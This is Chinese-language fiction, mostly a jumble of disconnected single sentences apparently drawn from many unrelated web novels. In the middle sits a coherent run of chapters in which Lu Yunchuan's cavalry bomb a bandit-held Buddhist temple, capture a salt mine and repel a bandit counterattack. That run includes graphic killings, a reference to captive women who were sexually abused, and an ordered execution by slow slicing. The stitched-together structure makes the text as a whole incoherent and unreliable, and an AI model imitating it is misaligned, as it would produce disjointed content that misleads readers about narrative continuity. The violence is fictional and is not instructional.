夏子锋也痛哭,他夏家的仇原来已经报了,原来那狗皇帝是被人杀死的。现在的皇帝虽然是仇人的弟弟,但是不可否认他是一个好皇帝,离歌走了,也带走了我的心,现在报仇,又该去找谁呢? 现场众人如此一看,这才算是彻底相信,那木槿月竟是真的杀了九十八只蛮兽。 不沾荤犯禁,缀锦楼此间东道主领了银子,司棋充当大姐大,便专在时鲜瓜果、茶酒饮料上下功夫,薛宝钗发牌票出银之意,也是让她们拿一部分资助二姑娘贾迎春房里。 晚上七点的时候护士来叫我吃饭,我胡乱扒了几口饭,再一次陷入了睡眠之中。 一次的断裂并不影响什么,盖子返工重来,再一次表演了令李泽惊讶无比的拉面技术。 没有犹豫,古三通一拳贯通了地面,整个传承空间内的剑意被他这霸道的一拳差点打爆,原本整整齐齐,凝聚成一体的剑意,如今分崩离析,四散到各处,也不知道需要多少年才能重新汇聚成之前的规模。 “咻~”附在龙傲天身上的古三通也随着这具身体一起,被吸了进去。 九阴的一只手臂和一条脚也被我卸掉了,现在她正在地上趴着,脑袋以那诡异的一百八十度角看着我,一点一点的从地上向我爬来。 一到京城,众人就发现了这里的不对劲,整个京城空荡荡的,就连城门的守卫也不见了。 既然游戏胜负无关乎冠军的得主和最后的结果,那么大家自然就能放开了用心去玩游戏,没有太多的顾虑和牵挂,一切都只是为了与自己心中敬重的对手来一场公平公正的较量。 第一百一十六章 血溅黑山店 “动手!” 陆云川一脚踢翻木桌,身形一闪,右手短刀从袖中滑出,刀光如电,直取金三刀咽喉! 金三刀反应不俗,赫然暴退,同时甩出三枚金钱镖,破空而来! 花谣点头,今日除了第一战区发生意外,其他战区都照常进行,如今九大战区的优胜者都已经被选了出来,花谣他们五人毫无悬念的进入了十强。 那单薄的身影,走在深秋之路上,显得如此孤独。不过那冲天的气势和自信,却怎么也掩盖不住。 只是阵营不同,就会有对立面,有了对立面就会有伤亡跟打斗。梓锦虽然能骑得马拉的弓,但是二流子水平,上阵杀敌是不能的,也就是能逃命的架势。但是这个世上最有杀伤力的并不是军队,而是军队后面的谋士。 三路汉军越过边界百余里后,便停驻不前,没有过于深入。他们遵守刘钧的旨意,是在等待缅人的反应。 但是一番拦截之下,只有这么多人来了,阴老实在捉摸不透魔主的心思,不清楚主上满意不满意。 而缅甸的黄金、象牙更刺激着大汉的商人们。相比起黄金象牙,如今的翡翠倒是不值什么钱。 “确定,只是……人,我帮你找到了,那么你要用什么来回报我?”那声音之中带着一丝笑意。 顾团元刚取出一块赤阳石,还没反应过来,方烨就一个闪身从顾团元手中抢来。 连芳洲他们三个又不是瞎子,岂能看不出来这公子哥根本没有认真清点的意思,之所以这么做不过是应付连芳洲的话罢了。 “喂!你要不要这么夸张?”李瞳歪头看着已经要在地上打滚的纲手。 李瞳学习怪力,竟让纲手一遍遍的讲重复的内容,这显然是十分异常的。 而且它似乎已经被琪琪格驯服了,对于这一点的话6海空到也没有自己的战利品被人强行占有的气愤,只是对于琪琪格的话6海空就很有异议了。 战斗的声音都距离他很远,他眼前的世界变得清晰,没用浓雾遮蔽,月光洒在森林中,宇智波托护能看得很远。 云雷心念一动处,打开空间葫芦的一丝缝隙,取出三百颗用雷电灵力凝结的球形电。打算先试试威力。这可是他在结成金丹,踏入结丹期,凝练球形电之后,第一次用这新领悟的雷电灵力形态对敌。 叶北根本不为所动,一边通过精神力回答的时候,一边不断吞噬着。 至于叶北,那金色的身体缓缓动着,发出滋滋的声音,听完这些话的时候,他的心里也出现了一些想法……对人类的感觉,不由更加厌恶了一些。 看着陆海空含恨离去,在场很多人都是一阵怅然,不仅是皇甫嵩,就连他们也都没有想到会变成这个模样。 自来也被李瞳吓到了,他是亲眼看见了辉夜珞巴死的有多惨,虽说他明白,就算李瞳在他身上放了起爆符,也不可能引爆,但其他人的起爆符放在他身上,是极为不安全的。 更重要的是,司家的老宅和祠堂可是一个巨大的庄园,如果真的翻修的话,那说不定就能完成最后的那个任务。 “潇潇是不是老是在你面前说些不合适的话?”窦倪宛想到这就有点忧虑。 第一百一十七章 贼秃驴,取你狗命! 云峰镇上,人多眼杂。 为了避免打草惊蛇,石凯离开时也走的是后门,酒店大门一直都紧闭着。 就目前而言,没人知道酒店里究竟发生了什么。 此时,易寒与司徒明月已经分别胜了第九场与第八场,都在调息当中,而令风化与段无缺两人仍在大战,此时两人正在厮杀第八场。 九人全力出手,各施展所能,所使用的剑技,都是远古时代的王阶剑技,并且都拥有圆满的火候,他们相信,一个玄变境八变的武者,能够什么实力面对这样凌冽的攻击。 这家伙现在是尝到了甜头,现在心里总想着到紫月君那里呆一会,然后顺便占点便宜什么的,可这徐公子这样一说,倒是有些不好意思了。 也许,到时候不需要吞无所说的那样,用月球作为眼睛,花费万年时光,控制一个界面。 另外两名身受重伤的守卫,此时也是如释重负的瘫倒在地,艰难的吞了吞口水,冲着马东说了一句感谢之言,随后鲜血夹杂着汗水,不停的往下滑。 太玄门,一百零八座传承,可不是代表着它只有一百零八座山峰。 曹博士立刻踢了她一脚,杨羚终于反应过来,暗骂自己笨,若然告诉姜豪下次不来了,他怎肯放他们回去。 石盘一出,便是有着一种古老洪荒的波动散而出,仿佛并不属于这座时空。 听着这话,宋得海长出了一口气,刚刚的那个事,总算是‘蒙’过去了。 负责熬大粪汤的庄丁一个个把口罩捂住嘴巴,但是臭味依然是难闻无比,能把人熏过去。 而真如刚才吕方子所言——所有货物量大价廉的话,这可真是一次极为难得的扫货机会,哪怕现在多买点,囤积起来以后再高价卖出呢? 不知道为什么,东子潜意识里并不想跟这个什么所谓的度假村老板扯上关系,虽然刚才他表现的风度翩翩,彬彬有礼。 贺云双转过身看向毒龙谷弟子吩咐道“周冲,带师弟们回去,不得再议论此事”。 “是吗,那我就必须得赢水无悔了,因为我需求这个名额。”木梓飞异常坚定的说道。 “那我问你,你亲眼见过红卡对你的族人下手吗?”木梓飞抛出了下一个疑问。 倥苁一旦登上飞舟,立时感觉景色大变,那道舱门居然是虚拟的,踏进舱门之后,发觉自己竟然置身在一个洞府门户平台。 虽然每个与会的门派都有一个凉棚,但并不是每个门派都招收弟子门人,有些一个都不收,来一个撵一个,根本不给对方说话的机会。 他对视上了那双纯净的眸子,那眸子里仿佛蕴含一切,又仿佛抛弃了一切,只剩下了他自己。 韩轲将旁边的靠枕拿了一个放在了李菲儿的玉腿之上,这样总算是遮挡了最吸引人的那部分。随后,便是坐回原位,心念一动,解开了定魂咒。 打开了免提,金井健太郎把电话放在了那宽大敞亮的会议桌上,那边没有声音。 她和王洋赚的工资,只需要花上班的油钱,和一些节日的礼物,其他的存攒着,她更是可以因为孩子放心的辞职,不用担心钱的问题,等孩子出生了,婆婆说她照顾,加上家里的有保姆,她完全可以干自己想干的事情。 第一百一十八章 闪击悲鸣寺 “庄主,马匹不行,回程路上歇了三次,耽搁了时间,还请庄主恕罪。” 石凯苦涩请罪。 陆云川摆手笑道:“无碍无碍,说好天黑之前到,现在刚刚好。” 老人注视着骑兵队中高举的那面“替天行道”大旗,惊呼道:“您难道就是那位诛贪官,杀恶霸的凉城新主?” “不是,我只是他手下办事的。” 陆云川随口便撒了个谎,他今天没戴面具,不想多暴露面孔与身份。 “那也是为民除害的义军!” 老人激动得眼眶泛红,“自打来了黑云寨那群土匪,这个小镇就像是被官家抛弃了一般,今日终于迎来仁义之师了!” “老人家,回家中歇息吧,洗好腊肉,煮好饭菜,令郎不日便归。” 陆云川没有再多闲谈,三千骑兵过境之声势,肯定会被黑虎崖察觉,眼下任何行动都必须要快! 用闪电战!拿下悲鸣寺与盐场! 陆云川将众将召入黑店,当即排兵布阵。 “火药可带来了?” “五百斤,都挂在马鞍上!” “很好,下面听我安排—— 宋康,你领一千骑兵,挟金三刀带路,从暗道直取盐场,要盯紧了金三刀此人,他若有异心,直接抹杀! 赵猛,你领两千骑兵,随我一起,攻打悲鸣寺; 马山,你领五十名兄弟,带三百斤炸药,炸断黑虎崖连接悲鸣寺的山路,记住了,一定要炸断,炸塌,决不能让黑虎崖下山支援悲鸣寺!” “明白!” “三路人马,皆已火流星为信号,得手了发一响,求援发两响!” “兵贵神速,即刻出发!” 陆云川自取一匹烈马,与赵猛率领骑兵,疾走云峰山悲鸣寺。 悲鸣寺毕竟是白道身份,为了方便香客上山拜佛,山道直接从山脚修到了门口,骑兵奔跑起来畅通无阻。 两千凉州铁骑如黑潮般涌上半山腰,马蹄声震得山石滚落,惊起夜鸦嘶鸣,只怕寺庙方也已察觉。 十里山路不消两刻钟,骑兵便已抵达寺院门口。 此刻,悲鸣寺山门前,火把如林,映照出森然阵列——两千武僧持棍而立,铁衣覆身,目光如炬,竟无半分惧色。 领头的半百老僧一身红色袈裟,手持镔铁禅杖,他便是悲鸣寺方丈玄苦,亦是黑虎寨二当家,绰号‘慈面虎’。 玄苦缓步而出,声如洪钟: “阿弥陀佛,这位施主,你深夜带兵夜闯佛门,是为何啊?” “我家城主信仰佛法,想请方丈回去讲讲经,顺便替他夫人求个平安签。”陆云川淡声说道。 玄苦面目一狰,瞪着陆云川,“原来你们是凉州叛军!哼……一群叛逆之辈,也敢来辱我佛门清净!” “清不清净,干不干净,你自己心里最清楚。” 陆云川懒得再废话了,“一句话,降者生,抗者死。” “阿弥陀佛,今日贫僧只能替天行道,大开杀戒了!” 玄苦眼神一狠,禅杖猛砸地面: “轰!” “结阵!” 两千武僧齐声怒喝,手中铁棍横空,形如铜墙铁壁般封死山门! “此乃铁壁伏魔阵!有胆你便来闯一闯!”玄苦傲声道。 武僧百人一组,铁棍交错,如巨蟒盘踞,进退如一。 倒是有那么点儿阵法的样子。 不过……你这些穿僧衣拿棍子的和尚,跟我穿铠甲拿刀枪的骑兵装什么呢? 在绝对硬核的力量面前,再精妙的阵法也不堪一击。 “先用火药炸几下,让他们知道什么叫做恐惧。”陆云川淡淡道。 “是!” 此次带来五百斤火药,马山分去三百斤炸山路,宋康与赵猛骑兵各分一百斤。 一百斤火药用罐装,那便是一百枚,前排的骑兵几乎每个人腰间都挂着一枚。 “给我炸!” 赵猛用火把点燃引线,甩膀子便往阵法中扔去。 有个不长眼的和尚,抡起棍子便要击打! “嘭!” “轰隆!” 炸药罐直接空爆! “啊!” 就近的和尚脑袋如西瓜开瓢般碎成残渣。 炸药罐中的铁片肆意飞溅,比邻的和尚皆不同程度受伤。 阵法? 你告诉我,什么是阵法? “扔!” 几十只炸药罐被扔入武僧阵中。 爆炸声接连响起,原本严谨有序的阵列瞬间瓦解,武僧如一群无头苍蝇般,在硝烟中惨叫乱窜。 “骑兵,冲锋!” 赵猛勒马而出,两千骑兵杀入硝烟。 马背上的骑兵要高一个身位,用的又是长枪与马刀,比你高还比你长,防御力还比你强,就算不用炸药也是降维打击。 骑兵犹如砍瓜切菜,武僧毫无还手之力。 赵猛再扔出一枚炸药罐,将悲鸣寺大门炸塌,后续骑兵蜂拥而入,犹如老鹰抓小鸡,追着砍,围着杀! 玄苦大骇惊呼:“众僧随我退回内院防守,再坚持片刻,黑虎崖驰援马上便到!” “老秃驴,我家城主早已派人去炸断山路,黑虎崖救不了你们!” “佛门净地,造了杀孽,你们要下地狱!” “我等,本就是从地狱中来!” “反抗者死!反抗者死!” 杀声响彻悲鸣寺,鲜血渗透佛门砖! 陆云川面无表情,骑着马穿梭于杀戮之中,直接来到大雄宝殿。 等了莫约一刻钟。 “轰隆!!!” 一声石破天惊的巨响隔山传来,这种程度的爆炸,数量肯定不少,马山他们得手了。 而后一支火流星从两山之间冲上天际,暗道偷袭盐场的宋康也得手了。 又等了莫约一刻钟,佛寺内喊杀声渐消。 “当家的,顽抗的假僧已全部清剿,剩下的具已受降!贼秃驴玄苦也已被生擒!如何处置?” 赵猛走进宝殿汇报。 “这帮贼和尚,敢当着佛面为非作歹,都不是什么善类,收编了也养不熟,今夜派人将他们好生看管,等明日步兵到了,全部押回去当苦役。” 陆云川吩咐道:“至于那老贼秃,既然悲鸣寺在批发食盐,就必然会有盐仓,不论用什么手段,把他嘴巴撬开,先将这寺庙里有价值的东西搜干剐尽再说。” “是!” 第一百一十九章 黑山十虎 “当家的,都问出来了—— 悲鸣寺后山有一个‘千佛窟’,那里便是盐仓位置所在,具体数量未曾清点,不过少说也有四五千石; 那地窟尽头有一条他们专门开凿的盐道,通过此道可直接通往山腹的盐矿场; 除此之外,咱们将悲鸣寺大致收剐了一遍,这群贼秃驴果然虚伪,后厨里全是酒肉荤腥,在藏经阁内还关押着三十几个妙龄女子,各个都已被侵犯得神志不清……” 赵猛走进佛堂禀告。 陆云川背着手,仰望着高台上的佛像,感叹道:“你身披金身,广开佛眼,为何这些污秽在眼皮子地下都看不见?” 坏人哪会被天收? 善赏罚恶需要人为! “将善面虎带进来。”陆云川冷声道。 赵猛应声离去,片刻后,拎着已被打得不成人样的玄苦走了进来。 “饶命啊,饶命啊城主,我一时间犯了糊涂,我……我愿意投降于你!” 虚伪善变之徒,哪儿有什么骨气? 玄苦跪着来到陆云川脚下哀声求饶。 “佛曰:‘放下屠刀立地成佛’,你好歹也是个出家人,” 陆云川说着,拿起案桌上的签筒,转手递给玄苦,“这样,今日你便当着佛像的面,抽一次签,看佛饶不饶你。” “当……当真?” 玄苦眼睛一亮,赶紧抱过签筒。 “佛祖面前,不打妄语。” 陆云川做了个“请”的姿势。 玄苦咽了咽口水,“哗啦啦”开始摇动签筒。 “哐当。” 一支木签跌落在地,玄苦颤抖着从拾起木签,定睛一瞧,当即喜出望外:“上上签,快瞧,上上签!” “多谢佛祖,多谢佛祖!我今后一定改过自新,阿弥陀佛……” 玄苦对着佛像便是一阵磕头。 陆云川夺过木签瞧了瞧,冷笑道:“你运气不错,还真是上上签,不过忘记告诉你规则—— 上签,凌迟处死; 中签,抽筋扒皮; 下签,三刀六洞。 恭喜你,抽了个最痛的。” 做了这么多坏事,岂能饶恕你? 玄苦笑容瞬间凝固。 陆云川微微摆手,“拖下去,凌迟处死。” “是!” 两个卫兵架起玄苦便往外拖。 “姓陆的!你……你背信弃义,你不得好死!” “贫僧做鬼也不会放过你的!” 若真有地狱,以他所犯下的罪状,只怕将会堕入无间,刀山火海,拔舌抽肠,可要比凌迟处死痛多了。 “赵猛,你领一千士卒便留在佛寺看守俘虏,我带一千士卒去支援盐场。”陆云川叮嘱道。 “明白!” 若盐场可以直通悲鸣寺,肯定也能连接黑虎崖。 抢得下地盘儿,还必须守得住,盐场那边宋康只有一千人,若黑虎崖派兵抢夺恐怕很难招架。 陆云川即刻抽调一千士卒,从后山盐道直奔山腹矿场。 …… 此时,彼时。 黑虎崖,黑虎大堂。 “寨主,山道被人炸断,咱们的人全部被堵在半山腰,无法去悲鸣寺驰援啊!” “寨主,盐矿那边冒死逃回来一个兄弟,凉州叛军不知从何处突然杀入,已抢下了盐矿!” “什么!” 黑心虎萧烈怒拍案而起。 “凉州叛军!竟如此迅速!他们是插了翅膀么?!” “他妈的,敢抢我们黑虎崖的地盘儿,活腻歪了吧!大哥,让小弟带人,从小道饶上云峰山,去砍翻他们!” “二哥与咱们的食盐,可全都在悲鸣寺啊!” 大堂中,其余坐交椅的纷纷起身请战。 黑虎崖有九把交椅,号称“黑山十虎”—— 大当家“黑心虎”,萧烈。 二当家“善面虎”,玄苦。 三当家“阴蚀虎”,阴九。 四当家“啸天虎”,拓跋。 五当家“疯血虎”,屠彪。 六当家“黑皮虎”,蒋横。 七当家“铁网虎”,陈鲨。 八当家“寒弓虎”,钱无命。 九当家“穿山虎”,石坚。 十当家“金牙虎”,金三刀。 个个都是坏事做尽,杀人如麻的狠角色。 其中善面虎玄苦已在悲鸣寺伏法,黑皮虎蒋横当初驰援王天魁被射死在冰河,九当家金牙虎被陆云川所俘虏; 黑山九虎已去其三,还剩下七头。 “三弟,这事儿你怎么看?” 萧烈看向阴蚀虎,阴九是黑虎崖智囊,阴险毒辣,精于算计。 阴九沉思了片刻,才道:“凉州叛军偷袭悲鸣寺,炸断山路,抢占盐场,一系列都是经过精心策划; 山路大道被炸断,若走小道,无法大部队通行,且时间太长了,就算我们能赶到,只怕悲鸣寺与二哥也已经凶多吉少了;” 眼下我们应做的是迅速从后山下山,将盐矿场给抢回来,否则咱们的生意将会荡然无存!” “气煞我也!” 萧烈一巴掌震碎茶几,当即令道: “五弟!你带两千喽啰,迅速从后山下山,务必从凉州叛军手中夺回盐矿!” “大哥放心,我不仅要夺回盐矿,我还要剜下那叛军首领的心肝回来给你下酒!” 疯血虎屠彪拍胸立誓,抱拳走出黑虎堂。 …… 另一边。 陆云川带着一千士卒已通过盐道抵达矿场,但由于矿道太窄,骑兵大部队无法通过,只能撤掉坐骑该用步行。 宋康飞夺盐场后,将土匪全部杀尽,在矿场高处重新设防。 “这帮土匪真不是人,将人当畜生使唤,累死了便直接抛尸荒野。” 宋康指了指蹲在盐场角落—— 八百余名黑矿工,个个灰头土脸,面如蜡色,此刻他们蹲在一团,大口啃食着凉州军发放的面饼水食。 陆云川叹了口气,问道:“防御布置得如何了?” 宋康说道:“这盐场原本就有个木头寨门,不过在攻打时被我炸榻了一半,短时间内也无法修复; 而且金三刀的暗道很窄,我们无法骑马进来,不得已放弃了坐骑,改用步行进的矿场。” “这矿场就是个中转站,左边盐道连接黑虎崖,右边盐道连接悲鸣寺,”陆云川说道:“我既然到了,估计黑虎崖的人也快了。” “放心吧当家的,我已经派斥候——” “报!” 不等宋康话说完,斥候踉跄奔来: “黑虎崖已至山腰垭口,距此矿场不足三里,有……有两千余人!” 第一百二十章 血战盐矿场 该来的总会来。 再妥善的奇谋妙计,最后还是得刀兵相接,血肉奋战。 既然我方无法骑马走盐道,那么黑虎崖的人估计也都是步兵。 两千士卒对两千喽啰,纯肉搏的战斗,就看谁的刀更快,谁的战斗力更强了。 “列阵。” 陆云川一声令下,所有凉州士卒收拢,列阵守在矿场前。 “将金三刀带来。” “是。” 片刻后,金三刀被押到陆云川面前。 “金掌柜,今夜多谢你了。” 陆云川笑着说了句感谢。 金三刀躯体一颤,眼前这人不笑还好,一笑反而让他更害怕,“哪里哪里……只是希望陆城主信守承诺,事后放我一马,我发誓远走高飞,再也不涉足凉州半步。” “你放心,我这人心胸宽阔,向来不杀有功之人。” 陆云川拍了拍金三刀的肩膀,问道:“对了,听我斥候说,黑虎崖有个持双斧的黑脸大汉快要杀到,你认识他么?” “持双斧……疯血虎屠飚!” 金三刀忍不住惊呼,“这家伙就是个人屠,黑虎崖中他手上沾血最多,杀起人来几乎疯狂变态……” 他又小声嘀咕,“寨主会派屠飚来抢盐场,就没打算让你们活着离开……” “嗤……你当我是吓大的么?” 宋康不屑道:“老子在边关与蛮国几十万大军血拼之时,那血什么虎的,还在他娘怀里吃奶呢!” 金三刀撇撇嘴,“你们厉害便是了……” “行,那就看看,这黑虎崖第一人屠,到底有多疯狂。” 一刻钟后。 屠飚领两千黑云寨匪众杀到矿场前。 许是奔跑得太热了,屠飙脱去了上衣,赤裸着上半身,浑身刺青狰狞,手中双板斧泛红,那不是锈迹而是未擦去的血迹! “凉州狗贼!敢抢占我黑虎崖盐矿,今日匪爷要开膛破肚,取你心肝儿,煎炸蒸煮来下酒!” 倒真是个嗜血的莽夫。 寻常人来到阵前,必定是先说些“投降不杀”,“乖乖献首”的狠话,这厮竟直接喊杀。 你要杀,我便杀! “凉州将士们,今夜血战,若能幸者,全部平地升一级,重重有赏!” 陆云川大声誓师,战意士气骤然攀升。 “杀!将他们通通杀光!” “冲啊!” 两千土匪如潮水般涌来,火把映照下,他们面目扭曲,刀锋寒光闪烁。 “放箭!”宋康怒吼。 凉州军弓弩齐发,箭雨倾泻,前排土匪惨叫倒地,但后阵踩着尸体继续冲锋! 屠飙狂笑,一斧劈开一名凉州军,脑浆迸溅! “哈哈哈!凉州狗,尽管放马过来!!” 土匪冲入盐场,凉州军结阵不乱! 宋康挥枪捅刺,连斩三人,血溅满脸,怒吼:“屠飙!有种来战!” 屠飙狞笑,双斧交错,猛劈而来! “铛——”刀刃对枪尖,火星迸溅! 宋康后退了三步,屠飙却只是晃了晃,眼中嗜血更盛。 “你不够劲!”屠飙狂笑,一斧横扫,宋康侧身避过,斧风擦着脸颊,火辣辣的疼。 “果然够疯!再来!” 宋康咬牙,枪锋一转,直取屠飙咽喉。 屠飙不躲不闪,另一斧迎上—— “噗!”枪头入肉,但屠飙的斧也劈进宋康肩甲, “哈哈哈!痛快!”屠飙狂笑,竟不顾肩上刀伤,猛力一推,将宋康撞飞。 宋康翻滚落地,啐了口血沫,眼中战意更盛,骂了声: “疯子……” 再次提枪而上。 “呯呯嘭嘭……” 将对将,兵对兵。 这些黑虎崖喽啰,身上也有护甲,显然也受过操练,拼杀技艺竟不输士卒。 凉州军唯一的优势,只有手中的长兵器,土匪的朴刀在长枪面前要稍逊一筹。 但这种绞肉机般的近身搏杀,就算凉州军苦战赢下,也必定是伤敌一千自损八百。 后方观战的陆云川,眉目不由一沉,强龙不压地头蛇,自己还是太低估黑虎崖了。 说起人数…… 陆云川猛地一回头,看向瑟缩在角落里的矿工,赶忙冲其大喊招呼: “诸位乡亲,眼下与土匪死战,何不出一把子力气?!” 矿工们望着矿场外的搏杀,眼中恐惧与愤怒交织,他们何曾不憎恨土匪? “你们想想,这帮土匪是如何虐待你们的,想想那些劳累致死却连草席都没有的同乡!” 陆云川再次大喊:“若今日凉州军失陷,矿场将重新被土匪夺回,你们难道还想回到那暗无天日的矿洞里去么? 他妈有胆子的,跟老子一起杀出去报仇!” “城主说得对!横竖都是死!不如拼了!” “杀了这帮杀千刀的土匪!杀出去!” “杀——!” 八百矿工怒火被点燃,骤然暴起,铁镐、铁锹、锁链,一切能用的东西都成了武器! 冲出矿场,杀入土匪阵中,毫无章法,却悍不畏死! “啊!” 一名土匪被铁镐砸碎脑袋! “你他妈还我儿子命来!” 老矿工抡起铁链,勒住一名土匪的脖子,生生绞断! 不怕横,不怕硬,就怕不要命! 八百矿工带着怒火加入战场,不仅冲溃了土匪的阵型,还提高了凉州军的气势。 军民并肩作战,战场局势瞬间扭转,土匪开始慌张后退。 “五当家的,这些矿工疯了,咱们先撤吧,撤吧……” 一名喽啰想要劝屠彪撤退。 “废物!” 杀红了眼的屠彪,一斧子劈掉了喽啰脑袋,“杀都不许退,给老子杀!杀!” 疯起来连自己人都砍! 这种人贼首一死,土匪必乱! 陆云川已看到破局,当即下令:“围剿屠彪!” 士卒分出三十余人,纷纷手持长枪,在宋康带头压制下,轮流朝屠彪捅刺。 屠彪双板斧再威风,面对长他几倍的长枪,根本无可奈何。 土匪喽啰全都弃他而去,这种杀疯了的屠夫,谁敢来上前解围? “噗!噗!噗!”几枪连捅,屠飙胸前、肋下、大腿同时飙血! “啊啊啊!”屠飙暴怒,完全不顾伤势,双斧抡圆,狂劈猛砍! 章法意乱,必死无疑! 宋康看准时机,弓步扭腰,一击破万法的回马枪! “噗嗤!” 枪头贯穿屠彪咽喉! 屠飙瞪大双眼,喉咙里“咯咯”作响,最终跪倒在地,气绝身亡。 第一百二十一章 水师出征! 眼球在用力踩踏下,竟是直接爆浆爆破开来,老曲急忙转头去看,只见一个中年男人,衣着十分的朴素,但那副面容却是实在记忆犹新。 「呵呵,燕柳先生,我希望你理解我的工作。不要有所隐瞒。」成名说着,拿出了测谎沙漏。 老板可以说是想要把握任何可以报答爷爷的机会,不断的询问我。 再说这种事情他也帮不上忙,因而他也没有给白烨去电话确认什么,大家都是成年人了,肯定会知道如何取舍的。 这种平静,是自信吗?我倒要看看,是什么样的自信,让你如此平静。 “雪凌姑娘?”东陵锐更加意外而且着急,她怎么能认罪呢,她不了解父皇,父皇的性子很偏激,她这一认罪,父皇是一定会罚她的。 一个巴掌朝着自己的脸上甩去,一阵火辣辣的肉疼感瞬间传遍全身,是真的,不是假的。 他也回到了原点,但他明白,自己并非林清子,但林清子在他的身上却以另外一种方式存活着。 好嘛,帮了他一大圈,最后把自己帮成了三只手。好人能做成我这个德行,也真的是……原谅我词汇量比较匮乏,但大概就算词汇量再大的人,这种时候,也只能用艹来形容了。 她的修为虽然并不算太高,但是有没有敌人在眼前还是看得到的,现在眼前空无一人,让她不禁怀疑自己的眼睛是不是出了问题。 寒霜雪更是惊愕失措,这样一个大家伙,居然就在门派边上,这些年来居然都没有现!倘若这翼火烛九阴现了门派所在,岂不是要让黄辰门上下都葬身蛇口之中? 张凡公布了定点医院,非常多。各个国家都有。华夏最多,华夏每个省都有最少一个定点医院可以做这种人造器官移植和培育。 “木乃伊也受伤了!”刚才还在兴奋索姆国人众,眉头又紧皱了起来。 在这个横幅出现的那一瞬间,竺采萱的直播间的人数瞬间暴增,原本只有一万多的粉丝此时直直的飙升到了将近三万,就在这横幅出现的一瞬间就直接飙升了这么多。 只见这是一个非常自然而古朴的山洞内部,这里到处打着禁制和阵法,赵炎盘膝,坐在阵法的最中央,手中有一团看似液体,又好像是金石一般的东西。 “都不成,这时我天阳门分内之事,与你无关,你识相的就给我滚开!”屠氏喝道。 短短不到一分钟的时间,他已经完全冲入火海,身后最近的拜恩骑士也离他有四五匹战马的身距;犹如离弦之箭般,在一片混乱的冰原狼人间层层突破,肆意的斩杀。 在番天印的作用下,护山剑阵显然已经遭受了重创,露出一个巨大的通道缺口。通道的尽头,忽的出现一道急速飞驰的残影!黑雾缭绕中,那道残影停留在易风前方数十丈处,绿油油的双眼死死的盯住易风。 “现场人数问清楚了吗?”余波也一起撤离了出来,留在了厂区大门口门卫室旁边,问着这边儿的救援工作负责人。 “告诉你也无妨,这两位是黄辰门的少掌门寒霜雪、寒霜霜,而我仅仅是黄辰门的一位客卿,名字嘛不说也罢,反正你只要打赢我,我做主把两位少掌门和我表嫂都让给你!”都不成很是挑衅的看了一眼甘柏。 “及宇!你回来为什么不告诉我!”门口站着一个大姑娘,性格火爆,面容姣好,正是项成的“妻子”张宁。 但现在是肌肉的比试,张武星想要测试自己一个月以来的成长,如果使用肌肉以外的力量,这场比试就没有任何意义了。 但他有点不爽了,柳菲菲这丫的就是欠收拾,居然这么看低了自己。 甘宁昨夜去周仓说的山谷,整整走了三四个时辰,而现在马超这队人马一动,不到一个时辰就已经跑出了近乎十五里路。 远处自然还是一片黑暗,如同没有星光的夜空一般虚无,但是近处却发生了变化,在张武星的脚下,散落着几个锻炼肌肉用的铁杠铃。 “他们是怎么出现的?”钱警司露出像哭一样的笑容,僵硬地转过头,身上汗滴一下一下地滴了下来。 五个风华正茂的少年,一起为一个共同理想——复兴古乐,重振大雅,而不计回报的努力付出。 “这个雪星亲王平日里就总是仗着亲王的身份胡作非为,这一次也算是给他一个教训,希望他能够长长记性吧!”梦神机暗自摇了摇道。 人这一辈子,上学,上班,吃饭喝水,排泄,睡觉。除了这些之外,或许还需要有梦想来支撑,要不然活下去也就是等着死而已。 “你放心。”熟悉的声音隔着手机传了出来,听到苏昭耳朵里,她眼神冷了几分。 这么个被拔出,用不了一时三刻,估摸着它就要被打回原形,变成一只普普通通的龙了。 九点一过,苏阳就被母亲赶回去休息了,第二天早上老老实实回公司上班,刚进大门,就见到手捧鲜花和礼盒的钱亮在向林妙妙献殷勤。 她还担心若是陆衡去了,自己玩也玩不尽兴,若是玩到下半晌,他拘着她继续教导学业呢? 你这看一下,就把金人看了个损失惨重,你要是出手,还不得把金营给翻个底朝天? 说起那日,他救了自己,惊险中回过神还没来得及道谢,他人就已经不见了。 “我去洗手间。”放下酒杯,起身的时候见路向北的眸光还看着楼下,眉心微拧。 此时,突然有两个年轻人端着缸子凑上来,里面装着的就是刚刚铁锅里煮的肉。 这次头晕没有那么严重了,她慢慢的走向门口,身体没有一点的力量,轻飘飘的像是要升仙。 第一百二十二章 摸黑出发! 众人轰然叫好,一行7人便往学校外面走去。经过篮球场时,恰好场内在打比赛,陆远方远远的看到孙金龙在场内左突右投,很是潇洒。 听到老者的语气,剑羽明白恐怕这位老前辈,不仅仅是护送者那么简单。 叶辰来到湖边,发现秦韵正坐在湖边的一座木桥上,时不时朝着湖畔里丢进几颗石头。 没有半点征兆,就是凭空出现,就凭着这份功力,就不是所有人能抵御的。 这里是千音遗地的范围,数万载前被诅咒的化身九婴毁灭了,这么久的时间过去了,只能希望周围的禁止已经不再完整,如果这里的禁止依然没有损坏,瞬间转移符就不可能有效果。 这一条,倒是把现在南诏王庭的现状给写了出来,正是郑买嗣任用私人,把持朝政,这一条上面所说的每一点,都没冤枉了他。 “野战也算新花样?咱们前阵子不是才玩过?”采花魔尊有些不解。 现在已经开始进入收网阶段,赵胖子他们完全帮不上任何的忙,只能在一旁光看着,这里面最惊讶的人就是游毅,游毅现在真是挺佩服陈武。 “援兵,我要援兵!”俄第三集团军指挥官迪米洛夫拿着电话吼道,他现在冒着冷汗,不时向后方的军团要援兵。 “师父,你这么着急叫我离开到底是什么事?”牧凡依然在飞行,到了这里,他觉得暂时安全了,所以开口问道。 两人距离拉开了十多米,而他们之前交手所踩的那一片屋顶却是如同脆弱的泡沫一般破碎,直接出现了一个圆形的坑洞。 大长老自然打听不到这些消息,看着苏逆有恃无恐的样子,气的胡子都飞了起来。 “苏诚先生,这件事情我们美国也帮不了你。”三普淡淡地回道,说完后眼里闪过一抹讥笑。 看样子没有一点说谎的神色在内,除非她的演技真的高到一种程度。 当时和冥鬼交手的时候,对方燃烧精神力来蒙蔽贺郑对自身肢体的感觉,产生错觉,这种能力就十分可怕,如果是实力相差不大的情况下,这种能力绝对可以决定生死胜负。 “不是,这是一种传说,奇普术只能预测即将要发生的事情,而不是事事都能预测……而且……”赛琳娜咬咬嘴唇,没往下说。 毁尸灭迹,做完了这一切,苏逆也随之消失,仿佛从来没有出现过一般。 而且林菲儿虽然面上保持着笑容,但是并没有丝毫的动作和反应,如同被吓呆了一般。 “亲爱的,我可是想死你了。”伊莎高兴地给了苏诚几个香吻,紧紧地靠着他。 